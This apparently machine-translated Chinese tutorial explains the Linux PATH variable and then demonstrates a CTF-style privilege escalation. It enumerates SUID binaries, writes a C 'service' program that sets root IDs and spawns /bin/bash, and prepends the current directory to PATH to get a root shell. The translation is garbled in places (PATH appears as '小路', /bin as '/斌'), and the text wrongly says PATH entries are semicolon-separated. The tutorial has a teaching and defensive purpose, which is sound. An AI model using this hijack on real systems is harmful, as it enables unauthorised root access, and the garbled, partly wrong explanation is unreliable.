PATH 环境变量

在所有 Linux/类Unix 环境,我们有 小路 环境变量,它告诉 shell 在发出命令时在哪里查找可执行的二进制文件/脚本。 这个单一的特性使它可能是最 重要的环境变量 在一个 Linux/Unix 系统。 在本模块中,我们将查看此变量的各个方面。

目录

PATH 环境变量究竟是什么?

小路 环境变量由以分号分隔的纯文本格式的目录列表组成。 当用户执行命令时,shell 在这些目录中查找可执行的二进制文件/脚本。 您可以列出当前的价值 小路 和 :

$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin

PATH 变量怎样工作?

当用户执行命令时,shell 会在下面列出的目录中查找与命令名称相同的可执行脚本/二进制文件 小路 多变的, 从第一个开始. 一旦找到匹配项,它就会执行带有所有给定标志等的二进制文件。

因此,这节省了我们打字的痛苦 /bin/ls 代替 ls 每次我们想要 列出目录的内容. 然而,这也可以被利用,我们将在后面的模块中看到。

请注意,有时 小路 因为 root 用户可能不同于普通用户或不在 sudoers 文件。 普通用户可能没有 /sbin, /usr/sbin 在他们的 小路 因为这里列出的可执行文件主要由 root 用户使用。

将我们自己的目录添加到 PATH

您还可以将包含一些自定义可执行文件的您自己的目录包含在您的目录中 小路 将它们作为命令运行。 一种相对安全的方法是将它们添加到您的末尾 小路 像这样 :

$ export PATH=$PATH:/path/to/directory

确保您的自定义二进制文件与目录中提到的目录下列出的文件夹中包含的任何其他二进制文件不具有相同的名称 小路 多变的。

您可以了解更多关于怎样 设置环境变量 这里。

PATH 环境变量劫持以提升权限

小路 环境也可用于系统中的垂直或横向移动。 这主要发生在特权脚本/二进制文件使用命令的相对路径或仅使用命令名称时。 为了证明这一点,让我们采取一个 example 来自真正的 CTF 并弄脏我们的手。

我们假设您已经闯入了系统并在其中获得了一些立足点。 接下来,我们使用以下命令搜索具有提升权限的可执行文件:

$ find / -type f -perm -u=s 2>/dev/null

在其他输出中,我们有这个可执行文件:

$ /usr/local/bin/suid-env

用我们得到的字符串检查二进制文件中的字符串:

$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start

正如我们所看到的,它可以二进制调用命令 服务 不使用其完整路径。 因此,我们可以利用它来获得 root 访问权限,因为可执行文件具有 权限。

还记得我们是怎样讨论的,shell 会查找与在下列目录中发出的命令同名的可执行文件 小路 并在找到匹配项时停止搜索并执行它? 如果我们创建自己的名为 ‘ 的恶意二进制文件会怎样服务‘ 并将其导出以在实际执行之前执行 ‘服务‘ 二进制?

考虑到这个目标,我们编写了一些自己的 C 代码并将其保存为 service.c :

#include <stdlib.h>
void main()
{
	seteuid(0);
	setegid(0);
	system("/bin/bash");
}

这个简单的代码只是将有效 UID 和有效 GID 设置为 root 的有效 UID 和有效 GID 并调用 /斌/bash

这样,编译程序并将可执行文件命名为“服务”,然后将当前目录添加到 PATH :

$ gcc service.c -o service
$ export PATH=.:/$PATH

现在,如果我们执行 /usr/local/bin/suid-env ,它将实习生调用“服务”二进制文件。 然后 shell 会在 PATH 中查找二进制文件,因为它在列出的第一个目录(我们导出的当前目录)中找到它,它不会再查找并执行它。

$ whoami
thom
$ /usr/local/bin/suid-env
# whoami
root

因此我们看到了怎样劫持 小路 提升我们在系统上的权限。

结论

因此,我们讨论了 小路 多变的。 我们甚至从红队的角度了解了怎样使用它。 因此,为了防止在您的系统上发生同样的情况,请确保在脚本中使用二进制文件的完整路径并正确管理权限。

推荐阅读——Linux 上鲜为人知的网络安全工具

相关阅读:

Posted in: Linux